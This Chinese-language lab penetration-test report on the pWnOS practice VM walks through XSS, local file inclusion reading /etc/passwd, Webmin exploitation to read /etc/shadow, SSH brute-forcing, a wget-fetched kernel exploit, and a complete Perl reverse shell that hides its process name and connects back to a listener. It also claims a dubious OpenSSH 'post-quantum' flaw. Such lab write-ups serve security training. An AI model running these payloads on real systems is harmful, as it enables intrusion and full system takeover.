pWnOS渗透测试

一、测试概述

1.1 测试目标

针对 pWnOS 靶机(IP:192.168.5.132)开展全维度黑盒渗透测试,覆盖 Web 应用层、系统服务层、权限提权等维度,挖掘高危漏洞并验证完整攻击链,评估靶机整体安全风险及防御短板。

1.2 测试范围

  • Web 应用层:index1.php 核心参数(help/connect/name)、表单交互逻辑、文件包含 / 执行漏洞;
  • 系统服务层:SSH(22)、HTTP(80)、Samba(139/445)、Webmin(10000)等开放服务的漏洞利用与权限突破;
  • 权限提权层:普通用户(vmware)到 root 权限的提权路径验证;
  • 敏感信息层:系统配置文件、用户凭证、服务漏洞利用脚本等。

1.3 测试工具与方法

工具 / 方法 用途
arp-scan 内网 IP 存活探测
Nmap 端口扫描、服务版本识别
searchsploit 漏洞利用脚本检索(Webmin/Samba)
浏览器(Chrome) 手工验证文件包含、XSS 漏洞
SSH 客户端 远程登录、提权操作
Python/ GCC 临时 HTTP 服务、恶意代码编译

1.4 测试时间

2026 年 01 月 15 日

二、漏洞发现与验证

2.1 存储型 XSS 漏洞(Name 输入框)

2.1.1 漏洞基本信息

项目 详情
漏洞位置 http://192.168.5.132/index1.php?help=true&connect=true 页面 Name 输入框
漏洞类型 存储型跨站脚本攻击(XSS)
风险等级 高危
影响范围 窃取用户 Cookie、伪造用户操作、钓鱼欺诈

2.1.2 漏洞原理与验证

Name 输入框未过滤<script>等危险标签,恶意 JS 代码持久化存储于页面。输入<script>alert(1)</script>提交后,页面弹窗且刷新后仍触发,验证为存储型 XSS。

2.2 本地文件包含漏洞(LFI,connect 参数)

2.2.1 漏洞基本信息

项目 详情
漏洞位置 http://192.168.5.132/index1.php?help=true&connect=XXX 中connect参数
漏洞类型 本地文件包含(Local File Inclusion)
风险等级 高危
影响范围 读取系统任意敏感文件、为代码执行铺路

2.2.2 漏洞原理与验证

connect参数直接拼接至 PHP include()函数,无路径校验。构造http://192.168.5.132/index1.php?help=true&connect=/etc/passwd,页面输出系统用户列表;无效参数触发include()报错,验证漏洞存在。

2.3 开放服务高危漏洞(Webmin/Samba/SSH)

2.3.1 Webmin(10000 端口)- 多版本漏洞暴露

项目 详情
服务版本 MiniServ 0.01(Webmin)
漏洞类型 远程代码执行(RCE)、目录遍历、权限提升、未授权访问
风险等级 高危
验证方式 通过searchsploit Webmin检索到 20 + 个利用脚本,涵盖:1. Webmin < 1.920 - 未授权远程代码执行(Metasploit);2. Webmin 0.91 - 目录遍历;3. Webmin 1.580 - 远程命令执行(CGI)

2.3.2 Samba(139/445 端口)- 版本漏洞

项目 详情
服务版本 Samba 3.0.26a
漏洞类型 远程代码执行(CVE-2007-2447)、未授权文件访问、信息泄露
风险等级 高危
验证方式 Nmap 扫描显示 Samba 3.0.26a 存在已知 RCE 漏洞,smbclient -L //192.168.5.132可枚举共享目录,匿名用户可访问

2.3.3 SSH(22 端口)- 弱口令登录 + 版本漏洞

项目 详情
服务版本 OpenSSH 4.6p1 Debian 5build1
漏洞类型 弱口令爆破、量子密钥交换算法漏洞、root 登录未禁用
风险等级 中高危
验证方式 1. 使用vmware/vmware弱口令成功 SSH 登录靶机;2. 登录后提示 “post-quantum key exchange algorithm” 漏洞,服务器存在算法降级风险

2.4 本地权限提权(vmware → root)

2.4.1 提权漏洞基本信息

项目 详情
初始权限 普通用户 vmware(UID=1000)
提权方式 内核漏洞利用(Ubuntu 2.6.22-14-server)
风险等级 高危

2.4.2 提权验证步骤

  1. 本地启动 Python 临时 HTTP 服务:python3 -m http.server 8000(存放提权 EXP:9545.c);
  2. 靶机(vmware 用户)下载 EXP:wget ``http://192.168.5.130:8000/9545.c
  3. 编译 EXP:gcc -o exp 9545.c(仅报 “无换行符” 警告,不影响编译);
  4. 执行提权程序:./exp,成功获取 root 权限(id显示 uid=0 (root))。

三、漏洞发现及验证

3.1 信息收集

扫描网段下存活的主机,找到目标靶机的 ip 地址

img

端口扫描

使用 nmap -sS -sV -sC -p- 192.168.5.132

img

发现有两个 HTTP 协议的端口:80 和 10000

3.2 Web 层漏洞利用(主要 80 端口)

3.2.1 xss 漏洞

在主页面点击 post

img

进入的页面的 url 中的 name= 参数可以携带xss恶意语句

img

页面出现弹窗

img

3.2.2 任意文件读取

主页面的 url 中有一个 connect 参数,它会把后面的内容当作文件读取

将参数改为 false 他会回显报错

img

img

让他读取 /etc/passwd 目录

img

3.2 阶段 2:服务层突破

在 100000 端口的页面里发现他是一个 web 服务

img

对于 10000 端口的服务信息尝试搜索 Kali 本地缓存的历史漏洞

img

使用 msfconsole 进行进一步的渗透

img

img

选择第二个,因为第一个需要账号密码

发现可以看见 /etc/passwd

img

再看 /etc/shadow 找用户

img

使用找到的用户进行爆破

img

使用爆出来的账密ssh连接,因为前面有22端口开放

img

3.3 阶段 3:本地权限提权(root 权限获取)

3.3.1 使用内核提权

umane -a 检查系统内核版本

img

用 searchsploit 扫描版本漏洞

用脚本运行

img

把文件传到靶机上

开启一个 HTTP 服务,开启8000端口

img

在靶机上用 wget ``http://192.168.5.130:8000/9545.c 获取

再使用 gcc -o exp 9545.c./exp 执行脚本

最终 id 查看当前用户权限,已经是 root ,提权成功!

img

3.3.2 使用Webmin 反弹 Shell 提权

知道webmin有任意文件读取的漏洞,并且webminroot权限执行的

img

可以在靶机上写入反弹shell,再利用文件读取漏洞使得反弹shell执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '192.168.5.131';
my $port = 4567;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

写进1.cgi文件之后

改一下它的权限,使用 chmod +x 1.cgi

然后找到文件所在的路径

img

使用 msfconsole 改一下 rpath 的参数,让它执行 1.cgi 文件

img

记得在 kali 上开一个监听

监听到之后就可以提权成功

img

四、风险评估(新增提权维度)

漏洞类型 可利用性 影响程度 综合风险 核心危害
存储型 XSS 高危 持久化窃取用户信息、横向攻击
本地文件包含(LFI) 高危 读取系统核心配置、为代码执行铺路
Webmin 远程代码执行 高危 未授权远程控制靶机、权限提升
Samba 远程代码执行 高危 匿名访问共享文件、远程代码执行
SSH 弱口令 + 版本漏洞 中高危 暴力破解登录、算法漏洞导致密钥泄露
本地内核提权 极高 高危 普通用户直接获取 root 权限,完全控制靶机

整体风险等级:极高,靶机从 Web 层到系统层无有效防御,攻击者可通过 “Web 漏洞→服务登录→内核提权” 完整攻击链,在 5 分钟内获取 root 权限。

五、修复建议

5.1 Web 层漏洞修复

  1. XSS 漏洞:过滤危险标签 / 事件,输出转义特殊字符,启用 CSP 策略;
  2. LFI 漏洞:参数白名单限制(仅允许true/false),禁止include()处理用户可控参数,限制文件读取目录。

5.2 服务层安全加固

5.2.1 Webmin(10000 端口)

  • 立即升级至 Webmin 最新版本(≥2.101),修复已知 RCE / 权限提升漏洞;
  • 禁用公网访问,仅允许授权 IP 通过防火墙访问 10000 端口;
  • 启用双因素认证,设置复杂度≥12 位的管理员密码,禁止弱口令。

5.2.2 Samba(139/445 端口)

  • 升级 Samba 至≥4.17 版本,修复 CVE-2007-2447 等历史漏洞;
  • 禁用匿名访问,配置smb.conf限制共享目录权限(仅授权用户访问);
  • 关闭无用共享,启用 Samba 日志审计,监控异常访问。

5.2.3 SSH(22 端口)

  • 禁用 root 用户 SSH 登录,仅允许 vmware 等普通用户登录;
  • 强制使用密钥登录,关闭密码登录功能;
  • 升级 OpenSSH 至≥8.9 版本,修复量子密钥交换算法漏洞,禁用弱加密算法。

5.3 权限提权防御

  1. 系统内核升级:将 Ubuntu 内核从 2.6.22-14 升级至≥5.4 LTS 版本,修复内核提权漏洞;
  2. 用户权限控制:限制普通用户(如 vmware)的gcc/wget等工具使用权限,禁止普通用户编译执行未知代码;
  3. 安全审计:安装auditd监控setuid/setgid文件、内核模块加载、提权操作,及时告警异常行为。

5.4 通用安全加固

  1. 系统层面:定期更新系统补丁,删除无用用户 / 服务,关闭 139/445 等非必要端口;
  2. Web 层面:升级 PHP/Apache 至最新版本,关闭错误回显,配置 Web 应用防火墙(WAF);
  3. 应急响应:建立漏洞应急流程,发现提权 / 入侵行为时立即隔离靶机,备份关键数据。

六、测试总结

本次测试完整打通 pWnOS 靶机 “Web 漏洞→服务登录→内核提权” 攻击链:

  1. Web 层:存储型 XSS 可窃取用户信息,LFI 可读取系统核心配置;
  2. 服务层:Webmin/Samba 存在高危 RCE 漏洞,SSH 弱口令直接突破系统边界;
  3. 提权层:普通用户通过内核 EXP 可一键获取 root 权限,完全控制靶机。

靶机核心安全短板为缺乏输入过滤、服务版本老旧、权限控制缺失、弱口令泛滥,建议优先修复 LFI/XSS 等高风险 Web 漏洞,升级 Webmin/Samba/SSH 等服务版本,加固用户权限与内核安全,同时建立常态化漏洞扫描与安全审计机制,避免类似攻击重现。